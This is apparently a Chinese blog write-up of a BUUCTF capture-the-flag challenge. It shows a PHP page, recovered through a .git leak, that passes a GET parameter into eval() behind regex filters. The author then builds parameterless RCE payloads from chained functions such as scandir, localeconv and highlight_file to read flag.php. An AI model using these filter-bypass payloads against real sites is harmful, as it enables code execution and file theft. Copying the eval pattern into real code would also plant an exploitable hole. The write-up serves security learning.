BUU 刷题记录 禁止套娃
首先感叹一句自己的菜!
打开题目:
emmmm,F12,抓包,查看是否又备份文件,dirsearch扫描目录一波操作猛如虎,结果没卵用。
还是一样的界面,崩溃。
算了看大佬wp吧
.git泄露,没做过,还能原谅自己,不然直接一巴掌呼自己。
一波操作之后拿到了index.php:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
@eval($_GET[‘exp’]);,一句话木马的get方式
第一个if,基本伪协议被禁用了,第二个if匹配正则:a(b();)可以是括号和字符组成,第三个if过滤一些字
看一看无参数rce:
scandir()
但是scandir()需要一个directory,但是我们没办法定义变量,这时候想到了localeconv()
数组,就要用到current()
传入exp。
?exp=print_r(scandir(current(localeconv())));
还是不会做,再次感叹自己是一个废物;
看到一个函数:next()
但是不能连续使用,flag在倒数第二,可以倒序之后用next()
payload:
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
(傻不啦叽的用了print_r)只能看到flag.php
用highlight_file()函数:
最后构造payload:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
拿到flag。
再次感叹自己是个废物
借鉴了大师傅的wp:
https://blog.csdn.net/weixin_44348894/article/details/105568428?utm_medium=distribute.pc_relevant.none-task-blog-baidulandingword-2&spm=1001.2101.3001.4242